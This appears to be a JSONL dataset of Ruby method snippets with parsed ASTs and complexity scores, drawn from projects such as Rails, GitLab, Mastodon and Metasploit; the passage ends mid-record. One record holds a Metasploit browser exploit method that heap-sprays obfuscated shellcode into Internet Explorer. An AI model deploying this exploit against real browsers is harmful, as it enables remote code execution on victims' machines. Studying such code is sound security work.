{"repo_name":"aasm","file_path":"./repos/aasm/spec/models/mongoid/validator_mongoid.rb","start_line":97,"raw_source":"def fail\n    raise StandardError.new('failed on purpose')\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fail\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]},\"new\",{\"type\":\"str\",\"children\":[\"failed on purpose\"]}]}]}]}","id":"7d6366c9-ada3-481a-9186-96f3e746589e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/ml/candidate_details_presenter.rb","start_line":44,"raw_source":"def present_as_json\n      Gitlab::Json.generate(present.deep_transform_keys { |k| k.to_s.camelize(:lower) })\n    end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"present_as_json\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Json\"]},\"generate\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"present\"]},\"deep_transform_keys\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"to_s\"]},\"camelize\",{\"type\":\"sym\",\"children\":[\"lower\"]}]}]}]}]}","id":"178e79c3-53ce-45f2-870e-8dd445f76d0a"}
{"repo_name":"rails","file_path":"./repos/rails/tools/rail_inspector/lib/rail_inspector/changelog.rb","start_line":203,"raw_source":"def call(changelog)\n        @changelog_count += 1\n\n        changelog.offenses.each { |o| process_offense(changelog, o) }\n      end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"changelog\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@changelog_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changelog\"]},\"offenses\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]}]},{\"type\":\"send\",\"children\":[null,\"process_offense\",{\"type\":\"lvar\",\"children\":[\"changelog\"]},{\"type\":\"lvar\",\"children\":[\"o\"]}]}]}]}]}","id":"0d34cd93-e698-4e7c-bc77-1a39b9a66111"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/lib/api/v3/time_entries/time_entry_representer.rb","start_line":154,"raw_source":"def start_time=(value) # rubocop:disable Metrics/AbcSize, Metrics/PerceivedComplexity\n          ts = datetime_formatter.parse_datetime(value, \"start_time\", allow_nil: true)\n\n          if ts.nil?\n            represented.start_time = nil\n            return\n          end\n\n          tz_specific_time = if represented.user_id.present? && represented.user_id != current_user.id\n                               user = User.visible.find_by(id: represented.user_id)\n                               if user\n                                 ts.in_time_zone(user.time_zone)\n                               else\n                                 ts.in_time_zone(current_user.time_zone)\n                               end\n                             else\n                               ts.in_time_zone(current_user.time_zone)\n                             end\n\n          if tz_specific_time.to_date == represented.spent_on\n            represented.start_time = tz_specific_time.strftime(\"%H:%M\")\n          else\n            raise API::Errors::Validation.new(\"start_time\",\n                                              I18n.t(\"api_v3.errors.validation.start_time_different_date\",\n                                                     spent_on: represented.spent_on,\n                                                     start_time: tz_specific_time.to_date))\n          end\n        end","complexity_score":58.7,"ast_json":"{\"type\":\"def\",\"children\":[\"start_time=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datetime_formatter\"]},\"parse_datetime\",{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"str\",\"children\":[\"start_time\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_nil\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ts\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"represented\"]},\"start_time=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"tz_specific_time\",{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"represented\"]},\"user_id\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"represented\"]},\"user_id\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"visible\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"represented\"]},\"user_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ts\"]},\"in_time_zone\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"time_zone\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ts\"]},\"in_time_zone\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"time_zone\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ts\"]},\"in_time_zone\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"time_zone\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tz_specific_time\"]},\"to_date\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"represented\"]},\"spent_on\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"represented\"]},\"start_time=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tz_specific_time\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%H:%M\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"API\"]},\"Errors\"]},\"Validation\"]},\"new\",{\"type\":\"str\",\"children\":[\"start_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"api_v3.errors.validation.start_time_different_date\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"spent_on\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"represented\"]},\"spent_on\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tz_specific_time\"]},\"to_date\"]}]}]}]}]}]}]}]}]}","id":"92e3ae97-86b5-4f3a-afe8-2e7fe66881f5"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/miq_request_mixin.rb","start_line":109,"raw_source":"def get_classification(category)\n    get_classifications[category.to_sym]\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"get_classification\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_classifications\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"to_sym\"]}]}]}","id":"81a5c179-7d44-42fa-95e2-3edd6d4540fd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb","start_line":146,"raw_source":"def on_request_uri(cli, request)\n    mytarget = target\n    if target.name == 'Automatic'\n      mytarget = auto_target(cli, request)\n      if (not mytarget)\n        send_not_found(cli)\n        return\n      end\n    end\n\n    # Re-generate the payload\n    return if ((p = regenerate_payload(cli)) == nil)\n\n    print_status(\"Sending #{self.name} (target: #{mytarget.name})\")\n\n    # Encode the shellcode\n    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(mytarget.arch))\n\n    # Set the return\\nops\n    ret = Rex::Text.to_unescape(make_nops(4))\n\n    # Construct the javascript\n    js = <<~EOS\n      var memory = new Array();\n      function sprayHeap(shellcode, heapSprayAddr, heapBlockSize) {\n      var index;\n      var heapSprayAddr_hi = (heapSprayAddr >> 16).toString(16);\n      var heapSprayAddr_lo = (heapSprayAddr & 0xffff).toString(16);\n      while (heapSprayAddr_hi.length < 4) { heapSprayAddr_hi = \"0\" + heapSprayAddr_hi; }\n      while (heapSprayAddr_lo.length < 4) { heapSprayAddr_lo = \"0\" + heapSprayAddr_lo; }\n      var retSlide = unescape(\"#{ret}\");\n      while (retSlide.length < heapBlockSize) { retSlide += retSlide; }\n      retSlide = retSlide.substring(0, heapBlockSize - shellcode.length);\n      var heapBlockCnt = (heapSprayAddr - heapBlockSize)/heapBlockSize;\n      for (index = 0; index < heapBlockCnt; index++) { memory[index] = retSlide + shellcode; }\n      }\n      var shellcode = unescape(\"#{shellcode}\");\n      sprayHeap(shellcode, #{mytarget.ret}, 0x400000 - (shellcode.length + 0x38));\n      document.write(\"<table style=position:absolute;clip:rect(0)>\");\n    EOS\n    opts = {\n      'Symbols' => {\n        'Variables' => %w{\n          shellcode retSlide payLoadSize memory index\n          heapSprayAddr_lo heapSprayAddr_hi heapSprayAddr heapBlockSize\n          heapBlockCnt\n        },\n        'Methods' => %w{sprayHeap}\n      }\n    }\n    js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)\n    # js.obfuscate(memory_sensitive: true)\n\n    # Construct the final page\n    html = <<~EOS\n      <html>\n      <body>\n      <script language='javascript'>\n      #{js}\n      </script>\n      </body>\n      </html>\n    EOS\n\n    # Transmit the compressed response to the client\n    send_response(cli, html, { 'Content-Type' => 'text/html' })\n\n    # Handle the payload\n    handler(cli)\n  end","complexity_score":39.35,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mytarget\",{\"type\":\"send\",\"children\":[null,\"target\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"Automatic\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mytarget\",{\"type\":\"send\",\"children\":[null,\"auto_target\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"request\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mytarget\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_not_found\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]},{\"type\":\"return\",\"children\":[]}]},null]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"regenerate_payload\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]},\"==\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" (target: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mytarget\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"shellcode\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_unescape\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Arch\"]},\"endian\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mytarget\"]},\"arch\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_unescape\",{\"type\":\"send\",\"children\":[null,\"make_nops\",{\"type\":\"int\",\"children\":[4]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"js\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"var memory = new Array();\\n\"]},{\"type\":\"str\",\"children\":[\"function sprayHeap(shellcode, heapSprayAddr, heapBlockSize) {\\n\"]},{\"type\":\"str\",\"children\":[\"var index;\\n\"]},{\"type\":\"str\",\"children\":[\"var heapSprayAddr_hi = (heapSprayAddr >> 16).toString(16);\\n\"]},{\"type\":\"str\",\"children\":[\"var heapSprayAddr_lo = (heapSprayAddr & 0xffff).toString(16);\\n\"]},{\"type\":\"str\",\"children\":[\"while (heapSprayAddr_hi.length < 4) { heapSprayAddr_hi = \\\"0\\\" + heapSprayAddr_hi; }\\n\"]},{\"type\":\"str\",\"children\":[\"while (heapSprayAddr_lo.length < 4) { heapSprayAddr_lo = \\\"0\\\" + heapSprayAddr_lo; }\\n\"]},{\"type\":\"str\",\"children\":[\"var retSlide = unescape(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]}]},{\"type\":\"str\",\"children\":[\"\\\");\\n\"]},{\"type\":\"str\",\"children\":[\"while (retSlide.length < heapBlockSize) { retSlide += retSlide; }\\n\"]},{\"type\":\"str\",\"children\":[\"retSlide = retSlide.substring(0, heapBlockSize - shellcode.length);\\n\"]},{\"type\":\"str\",\"children\":[\"var heapBlockCnt = (heapSprayAddr - heapBlockSize)/heapBlockSize;\\n\"]},{\"type\":\"str\",\"children\":[\"for (index = 0; index < heapBlockCnt; index++) { memory[index] = retSlide + shellcode; }\\n\"]},{\"type\":\"str\",\"children\":[\"}\\n\"]},{\"type\":\"str\",\"children\":[\"var shellcode = unescape(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shellcode\"]}]},{\"type\":\"str\",\"children\":[\"\\\");\\n\"]},{\"type\":\"str\",\"children\":[\"sprayHeap(shellcode, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mytarget\"]},\"ret\"]}]},{\"type\":\"str\",\"children\":[\", 0x400000 - (shellcode.length + 0x38));\\n\"]},{\"type\":\"str\",\"children\":[\"document.write(\\\"<table style=position:absolute;clip:rect(0)>\\\");\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Symbols\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Variables\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"shellcode\"]},{\"type\":\"str\",\"children\":[\"retSlide\"]},{\"type\":\"str\",\"children\":[\"payLoadSize\"]},{\"type\":\"str\",\"children\":[\"memory\"]},{\"type\":\"str\",\"children\":[\"index\"]},{\"type\":\"str\",\"children\":[\"heapSprayAddr_lo\"]},{\"type\":\"str\",\"children\":[\"heapSprayAddr_hi\"]},{\"type\":\"str\",\"children\":[\"heapSprayAddr\"]},{\"type\":\"str\",\"children\":[\"heapBlockSize\"]},{\"type\":\"str\",\"children\":[\"heapBlockCnt\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Methods\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"sprayHeap\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"js\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Exploitation\"]},\"ObfuscateJS\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"js\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<html>\\n\"]},{\"type\":\"str\",\"children\":[\"<body>\\n\"]},{\"type\":\"str\",\"children\":[\"<script language='javascript'>\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"js\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"</script>\\n\"]},{\"type\":\"str\",\"children\":[\"</body>\\n\"]},{\"type\":\"str\",\"children\":[\"</html>\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"html\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/html\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"handler\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]}","id":"2bcd954d-27d1-419a-9436-bc280b4d7554"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/dev/msftidy_docs.rb","start_line":92,"raw_source":"def info(txt, line=0)\n    return if SUPPRESS_INFO_MESSAGES\n    line_msg = (line>0) ? \":#{line}\" : ''\n    puts \"#{@full_filepath}#{line_msg} - [#{'INFO'.cyan}] #{cleanup_text(txt)}\"\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"info\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"txt\"]},{\"type\":\"optarg\",\"children\":[\"line\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SUPPRESS_INFO_MESSAGES\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"line_msg\",{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]}]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@full_filepath\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line_msg\"]}]},{\"type\":\"str\",\"children\":[\" - [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"INFO\"]},\"cyan\"]}]},{\"type\":\"str\",\"children\":[\"] \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cleanup_text\",{\"type\":\"lvar\",\"children\":[\"txt\"]}]}]}]}]}]}]}","id":"f2ad39ef-4f64-427a-afe7-6371ad91fc7f"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/commands/dbconsole_test.rb","start_line":49,"raw_source":"def test_config_with_database_url_only\n    ENV[\"DATABASE_URL\"] = \"postgresql://foo:bar@localhost:9000/foo_test?max_connections=5&timeout=3000\"\n    expected = {\n      adapter:         \"postgresql\",\n      host:            \"localhost\",\n      port:            9000,\n      database:        \"foo_test\",\n      username:        \"foo\",\n      password:        \"bar\",\n      max_connections: \"5\",\n      timeout:         \"3000\"\n    }.sort\n\n    app_db_config(nil) do\n      assert_equal expected, Rails::DBConsole.new.db_config.configuration_hash.sort\n    end\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_config_with_database_url_only\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"DATABASE_URL\"]},{\"type\":\"str\",\"children\":[\"postgresql://foo:bar@localhost:9000/foo_test?max_connections=5&timeout=3000\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"postgresql\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"str\",\"children\":[\"localhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"int\",\"children\":[9000]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database\"]},{\"type\":\"str\",\"children\":[\"foo_test\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_connections\"]},{\"type\":\"str\",\"children\":[\"5\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"str\",\"children\":[\"3000\"]}]}]},\"sort\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app_db_config\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"DBConsole\"]},\"new\"]},\"db_config\"]},\"configuration_hash\"]},\"sort\"]}]}]}]}]}","id":"994c9088-f12b-4b51-8951-0c8117bd10ec"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/async_refresh.rb","start_line":56,"raw_source":"def increment_result_count(by: 1)\n    redis.hincrby(@redis_key, 'result_count', by)\n    fetch_data_from_redis\n  end","complexity_score":3.45,"ast_json":"{\"type\":\"def\",\"children\":[\"increment_result_count\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"by\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redis\"]},\"hincrby\",{\"type\":\"ivar\",\"children\":[\"@redis_key\"]},{\"type\":\"str\",\"children\":[\"result_count\"]},{\"type\":\"lvar\",\"children\":[\"by\"]}]},{\"type\":\"send\",\"children\":[null,\"fetch_data_from_redis\"]}]}]}","id":"3e57ec5c-164d-4c1f-a225-02f299260d9d"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/cookies_test.rb","start_line":617,"raw_source":"def test_signed_cookie_using_default_digest\n    get :set_signed_cookie\n    cookies = @controller.send :cookies\n    assert_not_equal 45, cookies[:user_id]\n    assert_equal 45, cookies.signed[:user_id]\n\n    key_generator = @request.env[\"action_dispatch.key_generator\"]\n    secret = key_generator.generate_key(@request.env[\"action_dispatch.signed_cookie_salt\"])\n\n    verifier = ActiveSupport::MessageVerifier.new(secret, serializer: Marshal, digest: \"SHA1\")\n    assert_equal verifier.generate(45), cookies[:user_id]\n  end","complexity_score":24.95,"ast_json":"{\"type\":\"def\",\"children\":[\"test_signed_cookie_using_default_digest\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"set_signed_cookie\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cookies\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"send\",{\"type\":\"sym\",\"children\":[\"cookies\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"int\",\"children\":[45]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookies\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[45]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookies\"]},\"signed\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"key_generator\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"action_dispatch.key_generator\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"secret\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_generator\"]},\"generate_key\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"action_dispatch.signed_cookie_salt\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"verifier\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"MessageVerifier\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"secret\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"serializer\"]},{\"type\":\"const\",\"children\":[null,\"Marshal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"digest\"]},{\"type\":\"str\",\"children\":[\"SHA1\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"verifier\"]},\"generate\",{\"type\":\"int\",\"children\":[45]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookies\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]}]}]}","id":"91699947-3a93-4a66-884c-97efd04be69a"}
{"repo_name":"rack","file_path":"./repos/rack/lib/rack/recursive.rb","start_line":45,"raw_source":"def _call(env)\n      @script_name = env[SCRIPT_NAME]\n      @app.call(env.merge(RACK_RECURSIVE_INCLUDE => method(:include)))\n    rescue ForwardRequest => req\n      call(env.merge(req.env))\n    